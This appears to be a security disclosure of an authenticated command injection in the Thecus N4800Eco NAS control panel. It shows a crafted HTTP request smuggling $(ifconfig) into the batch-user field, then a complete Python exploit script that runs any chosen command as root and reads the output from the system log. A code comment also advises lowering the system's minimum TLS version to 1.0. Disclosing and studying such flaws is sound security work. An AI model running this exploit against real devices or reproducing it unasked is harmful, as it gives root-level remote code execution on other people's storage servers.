Thecus N4800Eco Nas Server Control Panel Comand Injection

Command Injection vulnerability that lets attacker for executing command with root privileges.

I have discovered command injection vulnerability on the Thecus N4800Eco Nas Server control panel during penetration test. I could not analyze source code because I didn't have enough time. Hence, I will describe only how vulnerability is detected.

Description

Firstly, I have tried to add user through Local User Configuration, but server didn't accept special chars such as $)( . Also, user and group could be created using Batch Input option that is under the User and Group Authentication section. I set Batch Content as $(ifconfig),22222,9999 that corresponds to username, password and group name.

Request:
POST /adm/setmain.php?fun=setbatch HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: https://target
Connection: close
Referer: https://target/adm/index.php
Cookie: select_md=0; MYSESSID=*
batch_content=%24(ifconfig)%2C22222%2C9999

So that filtering can be bypassed using Batch Content option for adding malicious payload as username. After the user adding process, I sent second request for deleting $(ifconfig) user and Local User remove succeeds response is returned. However the user was not deleted, it is very interesting to me. I tried to understand what happened and noticed that there is a system log section.

Surprisingly I saw that ifconfig command is executed.

For verifying the command injection vulnerability i tried another command such as id

So there is a comman injection vulnerability that lets to execute command with root privilege. Username parameter seems to vulnerable. It is time to write basic Python script.

import requests
import sys
import urllib3
# To fix SSL error that occurs when script is started.
# 1- Open /etc/ssl/openssl.cnf file
# At the bottom of the file:
# [system_default_sect]
# MinProtocol = TLSv1.2
# CipherString = [email protected]=2
# 2- Set value of MinProtocol as TLSv1.0
def readResult(s, target):
d = {
"fun": "setlog",
"action": "query",
"params": '[{"start":0,"limit":1,"catagory":"sys","level":"all"}]'
}
url = "https://" + target + "/adm/setmain.php"
resultReq = s.post(url, data=d, verify=False)
dict = resultReq.text.split()
print("[+] Reading system log...\n")
#Set your command output range
print(dict[5:8])
def delUser(s, target, command):
d = {
"action": "delete",
"username": "$("+command+")"
}
url = "https://" + target + "/adm/setmain.php?fun=setlocaluser"
delUserReq = s.post(url, data=d, allow_redirects=False, verify=False)
if 'Local User remove succeeds' in delUserReq.text:
print('[+] %s command was executed successfully' % command)
else:
print('[-] %s command was not executed!' %command)
sys.exit(1)
readResult(s, target)
def addUser(s, target, command):
d = {'batch_content': '%24('+command+')%2C22222%2C9999'}
url = "https://" + target + "/adm/setmain.php?fun=setbatch"
addUserReq = s.post(url, data=d, allow_redirects=False, verify=False)
if 'Users and groups were created successfully.' in addUserReq.text:
print('[+] Users and groups were created successfully')
else:
print('[-] Users and groups were not created')
sys.exit(1)
delUser(s, target, command)
def login(target, username, password, command=None):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()
d = {
"&eplang": "english",
"p_pass": password,
"p_user": username,
"username": username,
"pwd": password,
"action": "login",
"option": "com_extplorer"
}
url = "https://" + target + "/adm/login.php"
loginReq = s.post(url, data=d, allow_redirects=False, verify=False)
if '"success":true' in loginReq.text:
print('[+] Authentication successful')
elif '"success":false' in loginReq.text:
print('[-] Authentication failed!')
sys.exit(1)
else:
print('[-] Something went wrong!')
sys.exit(1)
addUser(s, target, command)
def main(args):
if len(args) != 5:
print("usage: %s targetIp:port username password command" % (args[0]))
print("Example 192.168.1.13:80 admin admin id")
sys.exit(1)
login(target=args[1], username=args[2], password=args[3], command=args[4])
if __name__ == "__main__":
main(args=sys.argv)